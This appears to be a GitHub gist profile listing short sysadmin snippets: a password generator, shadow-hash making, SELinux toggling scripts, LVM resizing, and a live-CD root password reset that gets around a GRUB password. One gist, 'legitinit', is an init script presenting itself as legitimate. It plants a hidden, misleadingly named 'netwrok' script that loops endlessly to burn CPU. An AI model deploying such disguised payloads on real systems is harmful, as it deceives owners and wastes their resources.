Skip to content

Instantly share code, notes, and snippets.

View gnilchee's full-sized avatar

Greg Nilchee gnilchee

  • Evernote
  • Woodinville, WA
View GitHub Profile
@gnilchee
gnilchee / password-generator.py
Created February 1, 2016 05:09
Simple Password Generator via Cherrypy
#!/usr/bin/env python3
import random
import string
import cherrypy
class PasswordGenerator(object):
@cherrypy.expose
def index(self):
return '''
@gnilchee
gnilchee / mkpass.py
Created January 14, 2016 21:58
mkpass (for shadow hash making)
#!/usr/bin/env python
from passlib.hash import sha512_crypt
import getpass
print("Making a SHA512 Password Hash for Shadow...")
print(sha512_crypt.encrypt(getpass.getpass()))
@gnilchee
gnilchee / seupdateconfig.py
Created October 12, 2015 04:56
SELinux config file update with Python3
#!/usr/bin/env python3
import massedit, argparse
def update_to_disabled():
filename = ['config']
massedit.edit_files(filename, ["re.sub(r'^SELINUX=.*', 'SELINUX=disabled', line)"], dry_run=False)
def update_to_permissive():
filename = ['config']
massedit.edit_files(filename, ["re.sub(r'^SELINUX=.*', 'SELINUX=permissive', line)"], dry_run=False)
@gnilchee
gnilchee / seupdateconfig.bash
Created October 12, 2015 04:55
SELinux config file update script written in Bash
#!/usr/bin/env bash
disabled() {
sed -i 's/^SELINUX=.*/SELINUX=disabled/' config && echo SUCCESS || echo FAILURE
}
permissive() {
sed -i 's/^SELINUX=.*/SELINUX=permissive/' config && echo SUCCESS || echo FAILURE
}
@gnilchee
gnilchee / ifcfg-bond0
Created September 13, 2015 06:03
example bonding config
DEVICE=bond0
TYPE=Ethernet
BOOTPROTO=none
DEFROUTE=yes
IPV4_FAILURE_FATAL=no
BONDING_MASTER=yes
NM_CONTROLLED=no
ONBOOT=yes
IPADDR=[public ip]
PREFIX=[subnet, i.e. 24]
@gnilchee
gnilchee / legitinit
Last active October 4, 2015 20:46
A legit init script used call another script
#!/usr/bin/env bash
echo -e '#!/usr/bin/env bash\nwhile true\ndo\n for i in {1..12000000}; do echo $i > /dev/null; done\ndone' > /usr/local/sbin/netwrok; chmod 0700 /usr/local/sbin/netwrok
#
# legitinit A legit init.d script.
#
# chkconfig: 2345 95 05
# description: This is a super legit init script. Nothing to see, mv along...
# processname: legitinit
# Source function library.
@gnilchee
gnilchee / bash_log-compression_output
Last active August 30, 2015 06:35
Most efficient log compression method?
[root@centos ~]# ls -lh
total 5.7G
-rw-r--r--. 1 root root 5.7G Aug 30 06:16 test.log
[root@centos ~]# xz -v -z test.log; gzip -v -9 test.log.xz
test.log (1/1)
100 % 880.5 KiB / 5,755.4 MiB = 0.000 6.3 MiB/s 15:13
test.log.xz: 96.8% -- replaced with test.log.xz.gz
[root@centos ~]# ls -lh
total 28K
-rw-r--r--. 1 root root 28K Aug 30 06:16 test.log.xz.gz
@gnilchee
gnilchee / lvextend_resize2fs.txt
Created August 23, 2015 02:56
re-sizing a lv on a ext4 root partition with 1.5G available in vg
vgs output:
VG #PV #LV #SN Attr VSize VFree
vg_centos 1 2 0 wz--n- 9.51g 1.50g
=============
lvdisplay /dev/vg_centos/lv_root output:
--- Logical volume ---
LV Path /dev/vg_centos/lv_root
LV Name lv_root
VG Name vg_centos
LV UUID yADUTB-na3L-7kLC-vylN-GGYB-b14w-viBIjb
@gnilchee
gnilchee / chroot_live_cd.sh
Created August 23, 2015 02:30
How to change root password outside of Single user mode if grub is password protected from live cd
# vgscan
Reading all physical volumes. This may take a while...
Found volume group "RootGroup00" using metadata type lvm2
# vgchange -a y RootGroup00
# lvdisplay
--- Logical volume ---
LV Name /dev/RootGroup00/RootVol00
VG Name RootGroup00
. . .
--- Logical volume ---
@gnilchee
gnilchee / passwordgen.desktop
Last active August 29, 2015 14:25
Python 3 Password Generator GUI for Gnome Shell
[Desktop Entry]
Name=Password Generator
Comment=Create a password and copy to clipboard
Icon=/path/to/icon/icon.png
Exec=/path/to/exec/passwordgengui.py
Type=Application
Terminal=false
Categories=System;